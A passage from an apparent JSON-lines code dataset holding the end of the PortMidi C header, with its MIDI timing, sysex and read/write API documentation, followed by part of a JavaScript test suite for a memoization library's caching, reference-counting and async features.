reference is actually advancing. In this case, message timing\n may be erratic, but since timestamps of zero mean \n \"send immediately,\" initialization messages with zero timestamps\n can be written without a functioning time reference and without\n problems. Before the first MIDI message with a non-zero\n timestamp is written to the stream, the time reference must\n begin to advance (for example, if the time_proc computes time\n based on audio samples, time might begin to advance when an \n audio stream becomes active). After time_proc return values\n become valid, and BEFORE writing the first non-zero timestamped \n MIDI message, call Pm_Synchronize() so that PortMidi can observe\n the difference between the current time_proc value and its\n MIDI stream time. \n \n In the more normal case where time_proc \n values advance continuously, there is no need to call \n Pm_Synchronize. PortMidi will always synchronize at the \n first output message and periodically thereafter.\n*/\nPmError Pm_Synchronize( PortMidiStream* stream );\n\n\n/**\n Pm_Message() encodes a short Midi message into a 32-bit word. If data1\n and/or data2 are not present, use zero.\n\n Pm_MessageStatus(), Pm_MessageData1(), and \n Pm_MessageData2() extract fields from a 32-bit midi message.\n*/\n#define Pm_Message(status, data1, data2) \\\n ((((data2) << 16) & 0xFF0000) | \\\n (((data1) << 8) & 0xFF00) | \\\n ((status) & 0xFF))\n#define Pm_MessageStatus(msg) ((msg) & 0xFF)\n#define Pm_MessageData1(msg) (((msg) >> 8) & 0xFF)\n#define Pm_MessageData2(msg) (((msg) >> 16) & 0xFF)\n\ntypedef int32_t PmMessage; /**< see PmEvent */\n/**\n All midi data comes in the form of PmEvent structures. A sysex\n message is encoded as a sequence of PmEvent structures, with each\n structure carrying 4 bytes of the message, i.e. only the first\n PmEvent carries the status byte.\n\n Note that MIDI allows nested messages: the so-called \"real-time\" MIDI \n messages can be inserted into the MIDI byte stream at any location, \n including within a sysex message. MIDI real-time messages are one-byte\n messages used mainly for timing (see the MIDI spec). PortMidi retains \n the order of non-real-time MIDI messages on both input and output, but \n it does not specify exactly how real-time messages are processed. This\n is particulary problematic for MIDI input, because the input parser \n must either prepare to buffer an unlimited number of sysex message \n bytes or to buffer an unlimited number of real-time messages that \n arrive embedded in a long sysex message. To simplify things, the input\n parser is allowed to pass real-time MIDI messages embedded within a \n sysex message, and it is up to the client to detect, process, and \n remove these messages as they arrive.\n\n When receiving sysex messages, the sysex message is terminated\n by either an EOX status byte (anywhere in the 4 byte messages) or\n by a non-real-time status byte in the low order byte of the message.\n If you get a non-real-time status byte but there was no EOX byte, it \n means the sysex message was somehow truncated. This is not\n considered an error; e.g., a missing EOX can result from the user\n disconnecting a MIDI cable during sysex transmission.\n\n A real-time message can occur within a sysex message. A real-time \n message will always occupy a full PmEvent with the status byte in \n the low-order byte of the PmEvent message field. (This implies that\n the byte-order of sysex bytes and real-time message bytes may not\n be preserved -- for example, if a real-time message arrives after\n 3 bytes of a sysex message, the real-time message will be delivered\n first. The first word of the sysex message will be delivered only\n after the 4th byte arrives, filling the 4-byte PmEvent message field.\n \n The timestamp field is observed when the output port is opened with\n a non-zero latency. A timestamp of zero means \"use the current time\",\n which in turn means to deliver the message with a delay of\n latency (the latency parameter used when opening the output port.)\n Do not expect PortMidi to sort data according to timestamps -- \n messages should be sent in the correct order, and timestamps MUST \n be non-decreasing. See also \"Example\" for Pm_OpenOutput() above.\n\n A sysex message will generally fill many PmEvent structures. On \n output to a PortMidiStream with non-zero latency, the first timestamp\n on sysex message data will determine the time to begin sending the \n message. PortMidi implementations may ignore timestamps for the \n remainder of the sysex message. \n \n On input, the timestamp ideally denotes the arrival time of the \n status byte of the message. The first timestamp on sysex message \n data will be valid. Subsequent timestamps may denote \n when message bytes were actually received, or they may be simply \n copies of the first timestamp.\n\n Timestamps for nested messages: If a real-time message arrives in \n the middle of some other message, it is enqueued immediately with \n the timestamp corresponding to its arrival time. The interrupted \n non-real-time message or 4-byte packet of sysex data will be enqueued \n later. The timestamp of interrupted data will be equal to that of\n the interrupting real-time message to insure that timestamps are\n non-decreasing.\n */\ntypedef struct {\n PmMessage message;\n PmTimestamp timestamp;\n} PmEvent;\n\n/** \n @}\n*/\n/** \\defgroup grp_io Reading and Writing Midi Messages\n @{\n*/\n/**\n Pm_Read() retrieves midi data into a buffer, and returns the number\n of events read. Result is a non-negative number unless an error occurs, \n in which case a PmError value will be returned.\n\n Buffer Overflow\n\n The problem: if an input overflow occurs, data will be lost, ultimately \n because there is no flow control all the way back to the data source. \n When data is lost, the receiver should be notified and some sort of \n graceful recovery should take place, e.g. you shouldn't resume receiving \n in the middle of a long sysex message.\n\n With a lock-free fifo, which is pretty much what we're stuck with to \n enable portability to the Mac, it's tricky for the producer and consumer \n to synchronously reset the buffer and resume normal operation.\n\n Solution: the buffer managed by PortMidi will be flushed when an overflow\n occurs. The consumer (Pm_Read()) gets an error message (pmBufferOverflow)\n and ordinary processing resumes as soon as a new message arrives. The\n remainder of a partial sysex message is not considered to be a \"new\n message\" and will be flushed as well.\n\n*/\nPMEXPORT int Pm_Read( PortMidiStream *stream, PmEvent *buffer, int32_t length );\n\n/**\n Pm_Poll() tests whether input is available, \n returning TRUE, FALSE, or an error value.\n*/\nPMEXPORT PmError Pm_Poll( PortMidiStream *stream);\n\n/** \n Pm_Write() writes midi data from a buffer. This may contain:\n - short messages \n or \n - sysex messages that are converted into a sequence of PmEvent\n structures, e.g. sending data from a file or forwarding them\n from midi input.\n\n Use Pm_WriteSysEx() to write a sysex message stored as a contiguous \n array of bytes.\n\n Sysex data may contain embedded real-time messages.\n*/\nPMEXPORT PmError Pm_Write( PortMidiStream *stream, PmEvent *buffer, int32_t length );\n\n/**\n Pm_WriteShort() writes a timestamped non-system-exclusive midi message.\n Messages are delivered in order as received, and timestamps must be \n non-decreasing. (But timestamps are ignored if the stream was opened\n with latency = 0.)\n*/\nPMEXPORT PmError Pm_WriteShort( PortMidiStream *stream, PmTimestamp when, int32_t msg);\n\n/**\n Pm_WriteSysEx() writes a timestamped system-exclusive midi message.\n*/\nPMEXPORT PmError Pm_WriteSysEx( PortMidiStream *stream, PmTimestamp when, unsigned char *msg);\n\n/** @} */\n\n#ifdef __cplusplus\n}\n#endif /* __cplusplus */\n#endif /* PORT_MIDI_H */\n"} {"text": "'use strict';\n\nvar aFrom = require('es5-ext/array/from')\n , nextTick = require('next-tick')\n\n , join = Array.prototype.join;\n\nmodule.exports = function (t, a) {\n\treturn {\n\t\t\"0\": function () {\n\t\t\tvar i = 0, fn = function () { ++i; return 3; };\n\n\t\t\tfn = t(fn);\n\t\t\ta(fn(), 3, \"First\");\n\t\t\ta(fn(1), 3, \"Second\");\n\t\t\ta(fn(5), 3, \"Third\");\n\t\t\ta(i, 1, \"Called once\");\n\t\t},\n\t\t\"1\": function () {\n\t\t\tvar i = 0, fn = function (x) { ++i; return x; };\n\n\t\t\tfn = t(fn);\n\t\t\treturn {\n\t\t\t\t\"No arg\": function () {\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta(fn(), undefined, \"First\");\n\t\t\t\t\ta(fn(), undefined, \"Second\");\n\t\t\t\t\ta(fn(), undefined, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\tArg: function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta(fn(x, 8), x, \"First\");\n\t\t\t\t\ta(fn(x, 4), x, \"Second\");\n\t\t\t\t\ta(fn(x, 2), x, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\t\"Other Arg\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta(fn(x, 2), x, \"First\");\n\t\t\t\t\ta(fn(x, 9), x, \"Second\");\n\t\t\t\t\ta(fn(x, 3), x, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t}\n\t\t\t};\n\t\t},\n\t\t\"3\": function () {\n\t\t\tvar i = 0, fn = function (x, y, z) { ++i; return [x, y, z]; }, r;\n\n\t\t\tfn = t(fn);\n\t\t\treturn {\n\t\t\t\t\"No args\": function () {\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(r = fn(), [undefined, undefined, undefined], \"First\");\n\t\t\t\t\ta(fn(), r, \"Second\");\n\t\t\t\t\ta(fn(), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\t\"Some Args\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(r = fn(x, 8), [x, 8, undefined], \"First\");\n\t\t\t\t\ta(fn(x, 8), r, \"Second\");\n\t\t\t\t\ta(fn(x, 8), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t\treturn {\n\t\t\t\t\t\tOther: function () {\n\t\t\t\t\t\t\ta.deep(r = fn(x, 5), [x, 5, undefined], \"Second\");\n\t\t\t\t\t\t\ta(fn(x, 5), r, \"Third\");\n\t\t\t\t\t\t\ta(i, 2, \"Called once\");\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t},\n\t\t\t\t\"Full stuff\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(r = fn(x, 8, 23, 98), [x, 8, 23], \"First\");\n\t\t\t\t\ta(fn(x, 8, 23, 43), r, \"Second\");\n\t\t\t\t\ta(fn(x, 8, 23, 9), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t\treturn {\n\t\t\t\t\t\tOther: function () {\n\t\t\t\t\t\t\ta.deep(r = fn(x, 23, 8, 13), [x, 23, 8], \"Second\");\n\t\t\t\t\t\t\ta(fn(x, 23, 8, 22), r, \"Third\");\n\t\t\t\t\t\t\ta(i, 2, \"Called once\");\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t};\n\t\t},\n\t\t\"Normalizer function\": function () {\n\t\t\tvar i = 0, fn = function () { ++i; return join.call(arguments, '|'); }, mfn;\n\t\t\tmfn = t(fn, { normalizer: function (args) { return Boolean(args[0]); } });\n\t\t\ta(mfn(false, 'raz'), 'false|raz', \"#1\");\n\t\t\ta(mfn(0, 'dwa'), 'false|raz', \"#2\");\n\t\t\ta(i, 1, \"Called once\");\n\t\t\ta(mfn(34, 'bar'), '34|bar', \"#3\");\n\t\t\ta(i, 2, \"Called twice\");\n\t\t\ta(mfn(true, 'ola'), '34|bar', \"#4\");\n\t\t\ta(i, 2, \"Called twice #2\");\n\t\t},\n\t\tDynamic: function () {\n\t\t\tvar i = 0, fn = function () { ++i; return arguments; }, r;\n\n\t\t\tfn = t(fn, { length: false });\n\t\t\treturn {\n\t\t\t\t\"No args\": function () {\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(aFrom(r = fn()), [], \"First\");\n\t\t\t\t\ta(fn(), r, \"Second\");\n\t\t\t\t\ta(fn(), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\t\"Some Args\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(aFrom(r = fn(x, 8)), [x, 8], \"First\");\n\t\t\t\t\ta(fn(x, 8), r, \"Second\");\n\t\t\t\t\ta(fn(x, 8), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\t\"Many args\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(aFrom(r = fn(x, 8, 23, 98)), [x, 8, 23, 98], \"First\");\n\t\t\t\t\ta(fn(x, 8, 23, 98), r, \"Second\");\n\t\t\t\t\ta(fn(x, 8, 23, 98), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t}\n\t\t\t};\n\t\t},\n\t\tResolvers: function () {\n\t\t\tvar i = 0, fn, r;\n\t\t\tfn = t(function () { ++i; return arguments; },\n\t\t\t\t{ length: 3, resolvers: [Boolean, String] });\n\t\t\treturn {\n\t\t\t\t\"No args\": function () {\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(aFrom(r = fn()), [false, 'undefined'], \"First\");\n\t\t\t\t\ta(fn(), r, \"Second\");\n\t\t\t\t\ta(fn(), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t},\n\t\t\t\t\"Some Args\": function () {\n\t\t\t\t\tvar x = {};\n\t\t\t\t\ti = 0;\n\t\t\t\t\ta.deep(aFrom(r = fn(0, 34, x, 45)), [false, '34', x, 45],\n\t\t\t\t\t\t\"First\");\n\t\t\t\t\ta(fn(0, 34, x, 22), r, \"Second\");\n\t\t\t\t\ta(fn(0, 34, x, false), r, \"Third\");\n\t\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\t\treturn {\n\t\t\t\t\t\tOther: function () {\n\t\t\t\t\t\t\ta.deep(aFrom(r = fn(1, 34, x, 34)),\n\t\t\t\t\t\t\t\t[true, '34', x, 34], \"Second\");\n\t\t\t\t\t\t\ta(fn(1, 34, x, 89), r, \"Third\");\n\t\t\t\t\t\t\ta(i, 2, \"Called once\");\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t};\n\t\t},\n\t\t\"Clear Cache\": {\n\t\t\tSpecific: function () {\n\t\t\t\tvar i = 0, fn, mfn, x = {};\n\n\t\t\t\tfn = function (a, b, c) {\n\t\t\t\t\tif (c === 3) {\n\t\t\t\t\t\t++i;\n\t\t\t\t\t}\n\t\t\t\t\treturn arguments;\n\t\t\t\t};\n\n\t\t\t\tmfn = t(fn);\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\tmfn(1, x, 4);\n\t\t\t\tmfn.delete(1, x, 4);\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\ta(i, 1, \"Pre clear\");\n\t\t\t\tmfn.delete(1, x, 3);\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\ta(i, 2, \"After clear\");\n\n\t\t\t\ti = 0;\n\t\t\t\tmfn = t(fn, { length: false });\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\tmfn();\n\t\t\t\tmfn();\n\t\t\t\tmfn.delete();\n\t\t\t\tmfn(1, x, 3);\n\t\t\t\ta(i, 1, \"Proper no arguments clear\");\n\t\t\t},\n\t\t\tAll: function () {\n\t\t\t\tvar i = 0, fn, x = {};\n\n\t\t\t\tfn = function () {\n\t\t\t\t\t++i;\n\t\t\t\t\treturn arguments;\n\t\t\t\t};\n\n\t\t\t\tfn = t(fn, { length: 3 });\n\t\t\t\tfn(1, x, 3);\n\t\t\t\tfn(1, x, 4);\n\t\t\t\tfn(1, x, 3);\n\t\t\t\tfn(1, x, 4);\n\t\t\t\ta(i, 2, \"Pre clear\");\n\t\t\t\tfn.clear();\n\t\t\t\tfn(1, x, 3);\n\t\t\t\tfn(1, x, 4);\n\t\t\t\tfn(1, x, 3);\n\t\t\t\tfn(1, x, 4);\n\t\t\t\ta(i, 4, \"After clear\");\n\t\t\t}\n\t\t},\n\t\tPrimitive: {\n\t\t\t\"No args\": function (a) {\n\t\t\t\tvar i = 0, fn = function () { ++i; return arguments[0]; }, mfn;\n\t\t\t\tmfn = t(fn, { primitive: true });\n\t\t\t\ta(mfn('ble'), 'ble', \"#1\");\n\t\t\t\ta(mfn({}), 'ble', \"#2\");\n\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t},\n\t\t\t\"One arg\": function (a) {\n\t\t\t\tvar i = 0, fn = function (x) { ++i; return x; }, mfn\n\t\t\t\t , y = { toString: function () { return 'foo'; } };\n\t\t\t\tmfn = t(fn, { primitive: true });\n\t\t\t\ta(mfn(y), y, \"#1\");\n\t\t\t\ta(mfn('foo'), y, \"#2\");\n\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t},\n\t\t\t\"Many args\": function (a) {\n\t\t\t\tvar i = 0, fn = function (x, y, z) { ++i; return x + y + z; }, mfn\n\t\t\t\t , y = { toString: function () { return 'foo'; } };\n\t\t\t\tmfn = t(fn, { primitive: true });\n\t\t\t\ta(mfn(y, 'bar', 'zeta'), 'foobarzeta', \"#1\");\n\t\t\t\ta(mfn('foo', 'bar', 'zeta'), 'foobarzeta', \"#2\");\n\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t},\n\t\t\t\"Clear cache\": function (a) {\n\t\t\t\tvar i = 0, fn = function (x, y, z) { ++i; return x + y + z; }, mfn\n\t\t\t\t , y = { toString: function () { return 'foo'; } };\n\t\t\t\tmfn = t(fn, { primitive: true });\n\t\t\t\ta(mfn(y, 'bar', 'zeta'), 'foobarzeta', \"#1\");\n\t\t\t\ta(mfn('foo', 'bar', 'zeta'), 'foobarzeta', \"#2\");\n\t\t\t\ta(i, 1, \"Called once\");\n\t\t\t\tmfn.delete('foo', { toString: function () { return 'bar'; } },\n\t\t\t\t\t'zeta');\n\t\t\t\ta(mfn(y, 'bar', 'zeta'), 'foobarzeta', \"#3\");\n\t\t\t\ta(i, 2, \"Called twice\");\n\t\t\t}\n\t\t},\n\t\t\"Reference counter\": {\n\t\t\tRegular: function (a) {\n\t\t\t\tvar i = 0, fn = function (x, y, z) { ++i; return x + y + z; }, mfn;\n\t\t\t\tmfn = t(fn, { refCounter: true });\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), null, \"Clear before\");\n\t\t\t\ta(mfn(3, 5, 7), 15, \"Initial\");\n\t\t\t\ta(mfn(3, 5, 7), 15, \"Cache\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #1\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #2\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #3\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 1, \"Not cleared\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #4\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), true, \"Clear final\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 2, \"Restarted\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 2, \"Cached again\");\n\t\t\t},\n\t\t\tPrimitive: function (a) {\n\t\t\t\tvar i = 0, fn = function (x, y, z) { ++i; return x + y + z; }, mfn;\n\t\t\t\tmfn = t(fn, { primitive: true, refCounter: true });\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), null, \"Clear before\");\n\t\t\t\ta(mfn(3, 5, 7), 15, \"Initial\");\n\t\t\t\ta(mfn(3, 5, 7), 15, \"Cache\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #1\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #2\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #3\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 1, \"Not cleared\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), false, \"Clear #4\");\n\t\t\t\ta(mfn.deleteRef(3, 5, 7), true, \"Clear final\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 2, \"Restarted\");\n\t\t\t\tmfn(3, 5, 7);\n\t\t\t\ta(i, 2, \"Cached again\");\n\t\t\t}\n\t\t},\n\t\tAsync: {\n\t\t\tRegular: {\n\t\t\t\tSuccess: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0, invoked = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Init Called\");\n\t\t\t\t\t\ta(invoked, 5, \"Cb Called\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Init Called #2\");\n\t\t\t\t\t\t\ta(invoked, 7, \"Cb Called #2\");\n\n\t\t\t\t\t\t\tmfn.delete(3, 7);\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t++invoked;\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 3, \"Init After clear\");\n\t\t\t\t\t\t\t\ta(invoked, 9, \"Cb After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\t\"Reference counter\": function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, refCounter: true });\n\n\t\t\t\t\ta(mfn.deleteRef(3, 7), null, \"Clear ref before\");\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Again Called #2\");\n\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #1\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #2\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #3\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), true, \"Clear ref Final\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 3, \"Call After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\tError: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0, e = new Error(\"Test\");\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(e);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 4, \"Again Called #2\");\n\t\t\t\t\t\t\td();\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t},\n\t\t\tPrimitive: {\n\t\t\t\tSuccess: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, primitive: true });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: 